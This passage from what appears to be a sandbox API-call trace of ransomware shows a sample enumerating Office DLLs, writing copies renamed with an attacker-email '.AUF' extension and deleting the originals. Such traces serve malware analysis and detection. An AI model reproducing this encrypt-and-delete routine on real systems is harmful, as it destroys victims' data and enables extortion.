Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.263] lstrlenW (lpString=".dbf") returned 4 [0219.263] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.263] lstrlenW (lpString=".1cd") returned 4 [0219.263] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.263] lstrlenW (lpString=".jpg") returned 4 [0219.263] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.263] lstrlenW (lpString=".doc") returned 4 [0219.263] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString=".docx") returned 5 [0219.263] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0219.263] lstrlenW (lpString=".pdf") returned 4 [0219.263] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString=".xls") returned 4 [0219.263] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.264] lstrlenW (lpString=".xlsx") returned 5 [0219.264] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0219.264] lstrlenW (lpString=".ppt") returned 4 [0219.264] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.264] lstrlenW (lpString=".zip") returned 4 [0219.264] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.264] lstrlenW (lpString=".rar") returned 4 [0219.264] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.264] lstrlenW (lpString=".bz2") returned 4 [0219.264] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.264] lstrlenW (lpString=".7z") returned 3 [0219.264] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.264] lstrlenW (lpString=".dbf") returned 4 [0219.264] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.264] lstrlenW (lpString=".1cd") returned 4 [0219.264] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.264] lstrlenW (lpString=".jpg") returned 4 [0219.264] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.264] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.264] lstrlenW (lpString="OARPMANR.DLL") returned 12 [0219.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0219.265] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=11656) returned 1 [0219.265] CloseHandle (hObject=0x220) returned 1 [0219.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0219.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0219.265] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.265] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0219.304] GetLastError () returned 0x0 [0219.304] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x2d88, lpOverlapped=0x0) returned 1 [0219.313] WriteFile (in: hFile=0x208, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0219.313] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.313] WriteFile (in: hFile=0x208, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.313] SetEndOfFile (hFile=0x208) returned 1 [0219.314] CloseHandle (hObject=0x208) returned 1 [0219.314] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.314] SetEndOfFile (hFile=0x220) returned 1 [0219.314] CloseHandle (hObject=0x220) returned 1 [0219.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.315] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0219.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.315] lstrlenW (lpString=".doc") returned 4 [0219.315] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.315] lstrlenW (lpString=".docx") returned 5 [0219.315] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0219.315] lstrlenW (lpString=".pdf") returned 4 [0219.315] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.315] lstrlenW (lpString=".xls") returned 4 [0219.315] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.315] lstrlenW (lpString=".xlsx") returned 5 [0219.315] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0219.315] lstrlenW (lpString=".ppt") returned 4 [0219.315] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.315] lstrlenW (lpString=".zip") returned 4 [0219.315] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.315] lstrlenW (lpString=".rar") returned 4 [0219.315] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.315] lstrlenW (lpString=".bz2") returned 4 [0219.315] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.315] lstrlenW (lpString=".7z") returned 3 [0219.315] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.315] lstrlenW (lpString=".dbf") returned 4 [0219.315] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.315] lstrlenW (lpString=".1cd") returned 4 [0219.315] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.315] lstrlenW (lpString=".jpg") returned 4 [0219.315] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.316] lstrlenW (lpString=".doc") returned 4 [0219.316] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.316] lstrlenW (lpString=".docx") returned 5 [0219.316] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0219.316] lstrlenW (lpString=".pdf") returned 4 [0219.316] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.316] lstrlenW (lpString=".xls") returned 4 [0219.316] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.316] lstrlenW (lpString=".xlsx") returned 5 [0219.316] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0219.316] lstrlenW (lpString=".ppt") returned 4 [0219.316] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.316] lstrlenW (lpString=".zip") returned 4 [0219.316] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.316] lstrlenW (lpString=".rar") returned 4 [0219.316] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.316] lstrlenW (lpString=".bz2") returned 4 [0219.316] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.316] lstrlenW (lpString=".7z") returned 3 [0219.316] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.316] lstrlenW (lpString=".dbf") returned 4 [0219.316] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.316] lstrlenW (lpString=".1cd") returned 4 [0219.316] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0219.316] lstrlenW (lpString=".jpg") returned 4 [0219.316] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.316] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0219.316] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0219.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0219.326] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=105344) returned 1 [0219.326] CloseHandle (hObject=0x220) returned 1 [0219.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0219.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0219.326] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.326] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0219.327] GetLastError () returned 0x0 [0219.327] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x19b80, lpOverlapped=0x0) returned 1 [0219.377] WriteFile (in: hFile=0x208, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x19b90, lpOverlapped=0x0) returned 1 [0219.379] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.379] WriteFile (in: hFile=0x208, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xee, lpOverlapped=0x0) returned 1 [0219.380] SetEndOfFile (hFile=0x208) returned 1 [0219.380] CloseHandle (hObject=0x208) returned 1 [0219.380] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.380] SetEndOfFile (hFile=0x220) returned 1 [0219.381] CloseHandle (hObject=0x220) returned 1 [0219.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.381] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0219.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.381] lstrlenW (lpString=".doc") returned 4 [0219.381] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.381] lstrlenW (lpString=".docx") returned 5 [0219.381] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0219.381] lstrlenW (lpString=".pdf") returned 4 [0219.381] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".xls") returned 4 [0219.382] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".xlsx") returned 5 [0219.382] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0219.382] lstrlenW (lpString=".ppt") returned 4 [0219.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString=".zip") returned 4 [0219.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".rar") returned 4 [0219.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".bz2") returned 4 [0219.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0219.382] lstrlenW (lpString=".7z") returned 3 [0219.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString=".dbf") returned 4 [0219.382] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString=".1cd") returned 4 [0219.382] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString=".jpg") returned 4 [0219.382] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString=".doc") returned 4 [0219.382] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".docx") returned 5 [0219.382] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0219.382] lstrlenW (lpString=".pdf") returned 4 [0219.382] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".xls") returned 4 [0219.382] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".xlsx") returned 5 [0219.382] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0219.382] lstrlenW (lpString=".ppt") returned 4 [0219.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString=".zip") returned 4 [0219.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".rar") returned 4 [0219.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0219.382] lstrlenW (lpString=".bz2") returned 4 [0219.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0219.382] lstrlenW (lpString=".7z") returned 3 [0219.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString=".dbf") returned 4 [0219.382] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.382] lstrlenW (lpString=".1cd") returned 4 [0219.382] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0219.383] lstrlenW (lpString=".jpg") returned 4 [0219.383] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.383] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.383] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0219.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.420] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=744888) returned 1 [0219.420] CloseHandle (hObject=0x1d8) returned 1 [0219.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0219.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.420] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.420] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0219.421] GetLastError () returned 0x0 [0219.421] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xb5db8, lpOverlapped=0x0) returned 1 [0219.573] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xb5dc0, lpOverlapped=0x0) returned 1 [0219.695] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.695] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0219.695] SetEndOfFile (hFile=0x1e4) returned 1 [0219.695] CloseHandle (hObject=0x1e4) returned 1 [0219.695] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.695] SetEndOfFile (hFile=0x1d8) returned 1 [0219.701] CloseHandle (hObject=0x1d8) returned 1 [0219.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.701] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 1 [0219.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.701] lstrlenW (lpString=".doc") returned 4 [0219.701] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.701] lstrlenW (lpString=".docx") returned 5 [0219.701] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0219.701] lstrlenW (lpString=".pdf") returned 4 [0219.701] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.701] lstrlenW (lpString=".xls") returned 4 [0219.701] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.701] lstrlenW (lpString=".xlsx") returned 5 [0219.701] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0219.701] lstrlenW (lpString=".ppt") returned 4 [0219.701] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.701] lstrlenW (lpString=".zip") returned 4 [0219.701] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.701] lstrlenW (lpString=".rar") returned 4 [0219.701] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.701] lstrlenW (lpString=".bz2") returned 4 [0219.701] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.701] lstrlenW (lpString=".7z") returned 3 [0219.701] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString=".dbf") returned 4 [0219.702] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 